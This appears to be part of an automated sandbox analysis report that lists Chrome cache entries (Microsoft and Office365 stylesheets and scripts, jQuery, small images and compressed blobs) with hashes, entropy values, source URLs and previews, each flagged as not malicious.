Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,r,i=n[0],a=n[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (994), with no line terminators
Category:	downloaded
Size (bytes):	994
Entropy (8bit):	4.934955158256183
Encrypted:	false
SSDEEP:	12:U8Chx3fpler8DDMv1+I+zpcuVkicq32EXgBA5e2KMLT:JC3G0z1Ddf2NGe2KG
MD5:	E2110B813F02736A4726197271108119
SHA1:	D7AC10CC425A7B67BF16DDA0AAEF1FEB00A79857
SHA-256:	6D1BE7ED96DD494447F348986317FAF64728CCF788BE551F2A621B31DDC929AC
SHA-512:	E79CF6DB777D62690DB9C975B5494085C82E771936DB614AF9C75DB7CE4B6CA0A224B7DFB858437EF1E33C6026D772BE9DBBB064828DB382A4703CB34ECEF1CF
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7741.23/resources/images/0/sprite1.mouse.css
Preview:	.image-loading_blackbg-gif{background:url('loading_blackbg.gif');width:16px;height:16px}.image-loading_whitebg-gif{background:url('loading_whitebg.gif');width:16px;height:16px}.image-thinking16_blue-gif{background:url('thinking16_blue.gif');width:16px;height:16px}.image-thinking16_grey-gif{background:url('thinking16_grey.gif');width:16px;height:16px}.image-thinking16_white-gif{background:url('thinking16_white.gif');width:16px;height:16px}.image-thinking24-gif{background:url('thinking24.gif');width:24px;height:24px}.image-thinking32_blue-gif{background:url('thinking32_blue.gif');width:32px;height:32px}.image-thinking32_grey-gif{background:url('thinking32_grey.gif');width:32px;height:32px}.image-thinking32_white-gif{background:url('thinking32_white.gif');width:32px;height:32px}.image-clear1x1-gif{width:1px;height:1px;background:url('sprite1.mouse.png') -0 -0}.csimg{padding:0;border:none;background-repeat:no-repeat;-webkit-touch-callout:none}span.csimg{-ms-high-contrast-adjust:none}

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32089)
Category:	downloaded
Size (bytes):	92629
Entropy (8bit):	5.303443527492463
Encrypted:	false
SSDEEP:	1536:dnu00HWWaRxkqJg09pYxoxDKMXJrg8hXXO4dK3kyfiLJBhdSZE+I+Qg7rbaN1RUx:ddkWgoBhcZRQgmW42qe
MD5:	397754BA49E9E0CF4E7C190DA78DDA05
SHA1:	AE49E56999D82802727455F0BA83B63ACD90A22B
SHA-256:	C12F6098E641AACA96C60215800F18F5671039AECF812217FAB3C0D152F6ADB4
SHA-512:	8C64754F77507AB2C24A6FC818419B9DD3F0CECCC9065290E41AFDBEE0743F0DA2CB13B2FBB00AFA525C082F1E697CB3FFD76EF9B902CB81D7C41CA1C641DFFB
Malicious:	false
Reputation:	low
URL:	https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js
Preview:	/! jQuery v1.9.1 \| (c) 2005, 2012 jQuery Foundation, Inc. \| jquery.org/license.//@ sourceMappingURL=jquery.min.map./(function(e,t){var n,r,i=typeof t,o=e.document,a=e.location,s=e.jQuery,u=e.$,l={},c=[],p="1.9.1",f=c.concat,d=c.push,h=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,b=function(e,t){return new b.fn.init(e,t,r)},x=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,w=/\S+/g,T=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,N=/^(?:(<[\w\W]+>)[^>]\|#([\w-]))$/,C=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,k=/^[\],:{}\s]$/,E=/(?:^\|:\|,)(?:\s\[)+/g,S=/\\(?:["\\\/bfnrt]\|u[\da-fA-F]{4})/g,A=/"[^"\\\r\n]*"\|true\|false\|null\|-?(?:\d+\.\|)\d+(?:[eE][+-]?\d+\|)/g,j=/^-ms-/,D=/-([\da-z])/gi,L=function(e,t){return t.toUpperCase()},H=function(e){(o.addEventListener\|\|"load"===e.type\|\|"complete"===o.readyState)&&(q(),b.ready())},q=function(){o.addEventListener?(o.removeEventListener("DOMContentLoaded",H,!1),e.removeEventListener("load",H,!1)):(o.detachEvent("onreadystatechange",H),e.detachEvent("onload",H)

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 23 x 10, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.8929244277956476
Encrypted:	false
SSDEEP:	3:yionv//thPlmttvt6hkxl/k4E08up:6v/lhP4whk7Tp
MD5:	2B72E71666118E0B1A971558D036DAEC
SHA1:	A8943D8F7A2AEC55F2FC03C90A528CA9F04DB3E7
SHA-256:	CBF96EB9CE7BA21901559DE04878251AB4448ACE1C5D560A2408093C15CCFE39
SHA-512:	015ED50A395D8378F8F0FEC4C01645A68FA9D28659F5A955027269223C752948BBDFA1324E70698B7C10CE456C69BA0BA9B6A393DA5385DBA47A7F923B241453
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............R.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4, xresolution=62, yresolution=70, resolutionunit=2, software=paint.net 4.2.9], baseline, precision 8, 50x28, components 3
Category:	dropped
Size (bytes):	987
Entropy (8bit):	6.922003634904799
Encrypted:	false
SSDEEP:	24:PJjxEK0nWpBzo0XxDuLHeOWXG4OZ7DAJuLHenX3D+VRmK9cR+w/b:lxEX4OuERAVwR/QP/b
MD5:	E58AAFC980614A9CD7796BEA7B5EA8F0
SHA1:	D4CAC92DCDE0CAF7C571E6D791101DA94FDBD2CA
SHA-256:	8B34A475187302935336BF43A2BF2A4E0ADB9A1E87953EA51F6FCF0EF52A4A1D
SHA-512:	2DAC06596A11263DF1CFAB03EDA26D0A67B9A4C3BAA6FB6129CDBF0A157C648F5B0F5859B5CA689EFDF80F946BF4D854BA2B2C66877C5CE3897D72148741FCC9
Malicious:	false
Reputation:	low
Preview:	......JFIF.....H.H.....fExif..MM..................>...........F.(...........1.........N.......H.......H....paint.net 4.2.9....C....................................................................C.........................................................................2..!............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......[.4..lz.....K.S..p.>.9.r9j..'.\.qrW..mo...X9ZV<./x...EX...m.Prj..A.EtG...K..mr....Lc.T.8...nlY.V.{6...R...]..(.y...)^.5V.IVO.W.B.19.R\...f.U.....'..S:..k.6..).f.n._3*....}.y.8.EusH..y.`.mA...W.}...bL..:..b.<f..(lH#R....v._...........9N~S..

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42133)
Category:	downloaded
Size (bytes):	138067
Entropy (8bit):	5.225028044529473
Encrypted:	false
SSDEEP:	3072:1f4HuF7pxnISnJ9d1EwgXA7nKRZMK/xw/:1f4Hu1I+kw/
MD5:	B9C3E4320DB870036919F1EE117BDA6E
SHA1:	29B5A9066B5B1F1FE5AFE7EE986E80A49E86606A
SHA-256:	A1FE019388875B696EDB373B51A51C0A8E3BAD52CD489617D042C0722BDB1E48
SHA-512:	A878B55E8C65D880CDF14850BAEE1F82254C797C3284485498368F9128E42DCA46F54D9D92750EEEB547C42CAB9A9823AA9AFAB7D881090EBBFA1135CDD410B6
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/onerfstatics/marketingsites-eus-prod/shell/_scrf/js/themes=default/54-af9f9f/d4-fb1f57/e1-a50eee/e7-954872/d8-97d509/f0-251fe2/46-be1318/77-04a268/11-240c7b/63-077520/a4-34de62/f9-a5b2ce/db-bc0148/dc-7e9864/6d-c07ea1/6f-dafe8c/f6-aa5278/73-a24d00/6d-1e7ed0/b7-cadaa7/c4-898cf2/ca-40b7b0/4e-ee3a55/3e-f5c39b/c3-6454d7/f9-7592d3/d0-e64f3e/92-10345d/79-499886/7e-cda2d3/58-ab4971/ca-108466/e0-3c9860/de-884374/1f-100dea/33-abe4df/2b-8e0ae6?ver=2.0&_cf=02242021_3231&iife=1
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64241)
Category:	downloaded
Size (bytes):	171486
Entropy (8bit):	5.043877429718187
Encrypted:	false
SSDEEP:	3072:jzCPZkTP3bDLH0tfRqQ0xtLfj4ZDSIpTt813viY8R1j35Ap7LQZLPPJH7PAbOCx1:jlZAW9kJeqg
MD5:	B7AF9FB8EB3F12D3BAA37641537BEDC2
SHA1:	A3FBB622FD4D19CDB371F0B71146DD9F2605D8A4
SHA-256:	928ACFBA36CCD911340D2753DB52423F0C7F6FEAA72824E2A1EF6F5667ED4A71
SHA-512:	1023C4D81F68C73E247850F17BF048615DDABB69ACF2429644BDAF8DC2A95930F7A29CEAE6FBD985E1162897483A860C8248557CDA2F1F3D3FF0589158625A49
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/onerfstatics/marketingsites-eus-prod/west-european/shell/_scrf/css/themes=default.device=uplevel_web_pc/1b-9d8ed9/c9-be0100/a6-e969ef/43-9f2e7c/82-8b5456/a0-5d3913/43-5a5ab8/ca-ae3ce4?ver=2.0&_cf=02242021_3231
Preview:	@charset "UTF-8";./! \| Copyright 2017 Microsoft Corporation \| This software is based on or incorporates material from the files listed below (collectively, "Third Party Code"). Microsoft is not the original author of the Third Party Code. The original copyright notice and the license under which Microsoft received Third Party Code are set forth below together with the full text of such license. Such notices and license are provided solely for your information. Microsoft, not the third party, licenses this Third Party Code to you under the terms in which you received the Microsoft software or the services, unless Microsoft clearly states that such Microsoft terms do NOT apply for a particular Third Party Code. Unless applicable law gives you more rights, Microsoft reserves all other rights not expressly granted under such agreement(s), whether by implication, estoppel or otherwise././! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css /.body{margin:0}.context-uh

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (402)
Category:	downloaded
Size (bytes):	262641
Entropy (8bit):	4.9463902181496096
Encrypted:	false
SSDEEP:	3072:u+Vd0pBbqPLYoyjFkxD2hAYwJb8ILm731Ss:u+Vd0DePLYoyjFkxD2hAYwJbZLM31Ss
MD5:	7C593B06759DB6D01614729D206738D6
SHA1:	0D4F76D10944933B8DDECFFE9691081439A77A3C
SHA-256:	F7D9FB0479DE843CF3FB0B78FC56BBB9E30BF0A238C6F79D9209FA8B22EFB574
SHA-512:	EF91B610CF17A17AAFB48984B4403EF175EB86096E3F12E23AE8D4C7C96EF60ED14DA3F69721E095CD2ACE3F0A06190186D000992823814BB906F7FB3576C2C1
Malicious:	false
Reputation:	low
URL:	https://assets.onestore.ms/cdnfiles/external/oneui/oneui1.16.2/dist/css/app.css
Preview:	@font-face {. font-family: "wf_segoe-ui_normal";. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot");. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot?#iefix") format("embedded-opentype"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.woff") format("woff"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.ttf") format("truetype"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.svg#web") format("svg");. font-weight: normal;. font-style: normal; }..@font-face {. font-family: "wf_segoe-ui_light";. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.eot");. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.eot?#iefix") format("embedded-opentype"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.woff") format("woff"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.ttf") format("truetype

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	338
Entropy (8bit):	7.004897375379158
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+k790OCotr/vbXX3PHrLiBxwGFhGsznYUAlnEkPb6PL2+/pTp:6v/78/v4rrXX3u1XYRm4byp9
MD5:	290AFB4165DD808A850D8920AEB5DBF4
SHA1:	0B4BF844AED3A740A99B7415F6BD803E84DDDA4D
SHA-256:	882FDB8A4BF176D2A09427D6A5BDBA3051307F2605090DA848085B0D78B6FD99
SHA-512:	197AD95E98C04B26AAD845DF7FF5C3C2CC6020E5273526970261F30A8EEAAB30A1C0DDC2BAE1D654095E8D47D399CCB526B32AD7CBE84CB1140E2D5F5142A7DB
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....IDAT8O..=..0...\.+....{......A.qQ..*.....&.l.....4i.7MM$u..:b&5..F.2.q....%3L.K..,..2C....c?+.{....B7i~R..0;.r..C.c....$....Jx.^8.O.l.!E).#l...e..#.k/...y.D..%<.<......4\.2H..0.>...WY9giK,la/....p<...4%...N..-I..._%...s1....P.......IEND.B`.

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4054
Entropy (8bit):	7.797012573497454
Encrypted:	false
SSDEEP:	48:zICvnyRHJ3BRZPcSPQ72N2xoiR4fTJX/rj4sFNMkk5/p1k2lPUmbm39o4aL7V9XH:10nvE724xoiRQJPrjpLKSFl9oX31Z1d
MD5:	9F14C20150A003D7CE4DE57C298F0FBA
SHA1:	DAA53CF17CC45878A1B153F3C3BF47DC9669D78F
SHA-256:	112FEC798B78AA02E102A724B5CB1990C0F909BC1D8B7B1FA256EAB41BBC0960
SHA-512:	D4F6E49C854E15FE48D6A1F1A03FDA93218AB8FCDB2C443668E7DF478830831ACC2B41DAEFC25ED38FCC8D96C4401377374FED35C36A5017A11E63C8DAE5C487
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............J.......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A00BC639840A11E68CBEB97C2156C7FD" xmpMM:InstanceID="xmp.iid:A00BC638840A11E68CBEB97C2156C7FD" xmp:CreatorTool="Adobe Photoshop CC 2015.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2C931A470A111E6AEDFA14578553B7B" stRef:documentID="xmp.did:A2C931A570A111E6AEDFA14578553B7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......DIDATx..\..UU.>.7..3....h.L..& j2...h.@..".........`U.......R"..Dq.&.BJR 1.4`$.200...l........wg.y.[k/

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65520), with no line terminators
Category:	downloaded
Size (bytes):	82190
Entropy (8bit):	5.036904170769404
Encrypted:	false
SSDEEP:	1536:tJzwN0CbUTqI34/9w6/Qua+1IGEbjBko230WBYT:vyA
MD5:	1F9995AB937AC429A73364B4390FF6E8
SHA1:	81998DCC6407CEB5CEF236AD52B9F2A3A9528D3B
SHA-256:	49E5166F40D8586714F86E08AB76A977199DF979357147A0E81980A804151C2A
SHA-512:	6669AE352FF46DB734BB8F973D1C0527C3A5EC4119D534AAE4C33F29EFF970168ED5FE200A05D4E1B6A2EC0E090E2207549B926317D489DC7664B0D9C2085465
Malicious:	false
Reputation:	low
URL:	https://assets.onestore.ms/cdnfiles/onestorerolling-1510-19009/shell/v3/scss/shell.min.css
Preview:	@charset "UTF-8";@font-face{font-family:'wf_segoe-ui_normal';src:local("Segoe UI");src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot");src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot?#iefix") format("embedded-opentype"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.woff") format("woff"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.ttf") format("truetype"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.svg#web") format("svg");font-weight:normal;font-style:normal}@font-face{font-family:'wf_segoe-ui_semilight';src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.eot");src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.eot?#iefix") format("embedded-opentype"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.woff") format("woff"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.ttf")

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 23 x 10, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.8929244277956476
Encrypted:	false
SSDEEP:	3:yionv//thPlmttvt6hkxl/k4E08up:6v/lhP4whk7Tp
MD5:	2B72E71666118E0B1A971558D036DAEC
SHA1:	A8943D8F7A2AEC55F2FC03C90A528CA9F04DB3E7
SHA-256:	CBF96EB9CE7BA21901559DE04878251AB4448ACE1C5D560A2408093C15CCFE39
SHA-512:	015ED50A395D8378F8F0FEC4C01645A68FA9D28659F5A955027269223C752948BBDFA1324E70698B7C10CE456C69BA0BA9B6A393DA5385DBA47A7F923B241453
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/89da16dad8d74243/1720043409263/BGklw8ERV6X92zV
Preview:	.PNG........IHDR...............R.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	660449
Entropy (8bit):	5.4121922690110535
Encrypted:	false
SSDEEP:	12288:3PUKyvwjOOvwZ1ARuxntuicBh8hS11dsUA:yvjZ+/pIUA
MD5:	D9E3D2CE0228D2A5079478AAE5759698
SHA1:	412F45951C6AEDA5F3DF2C52533171FC7BDD5961
SHA-256:	7041D585609800051E4F451792AEC2B8BD06A4F2D29ED6F5AD8841AAE5107502
SHA-512:	06700C65BEF4002EBFBFF9D856C12E8D71F408BACA2D2103DDE1C28319B6BD3859FA9D289D8AEB6DD484E802040F6EE537F31F97B4B60A6B120A6882C992207A
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7741.23/scripts/boot.worldwide.3.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.3.mouse.js'] = (new Date()).getTime();..;_n.a.jR=function(n){return n.dS()};_n.a.jZ=function(n){return n.eh()};_n.a.jP=function(n){return n.cC()};_n.a.jQ=function(n){return n.ca()};_n.a.hZ=function(n){return n.dO};_n.a.jU=function(n){return n.ed()};_n.a.jT=function(n){return n.ea()};_n.a.kb=function(n){return n.ej()};_n.a.hM=function(n){return 300};_n.a.fh=function(n){return n.V};_n.a.jV=function(n){return n.bI()};_n.a.ie=function(n){return n.mh()};_n.a.km=function(n){return n.bl()};_n.a.ka=function(n){return n.ei()};_n.a.ko=function(n){return n.cV()};_n.a.eX=function(n){return _y.E.isInstanceOfType(n)?n.y:null};_n.a.jN=function(n){return n.c()};_n.a.gm=function(n){return n.b()};_n.a.jM=function(n){return n.b()};_n.a.ib=function(n){return n.jM()};_n.a.iq=function(n){return n.bG};_n.a.iX=function(n){return _n.V.isInstanceOfType(n)?n

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	22
Entropy (8bit):	3.6978458230844122
Encrypted:	false
SSDEEP:	3:jAbukMn:jP
MD5:	6AAB5444A217195068E4B25509BC0C50
SHA1:	7B22EAF7EAA9B7E1F664A0632D3894D406FE7933
SHA-256:	FC5525D427BFA27792D3A87411BE241C047D07F07C18E2FC36BF00B1C2E33D07
SHA-512:	AA5F66638B142B5E6D1D008F2934530C7AAD2F7F19128CA24609825D0DACFFD25A77591BFD7FB1D225BE2FA77CABCE837E0741326C1AC622C244D51E6FAFB303
Malicious:	false
Reputation:	low
URL:	https://ayssaless.com/favicon.ico
Preview:	<h1>Access Denied</h1>

Chrome Cache Entry: 94

Download File

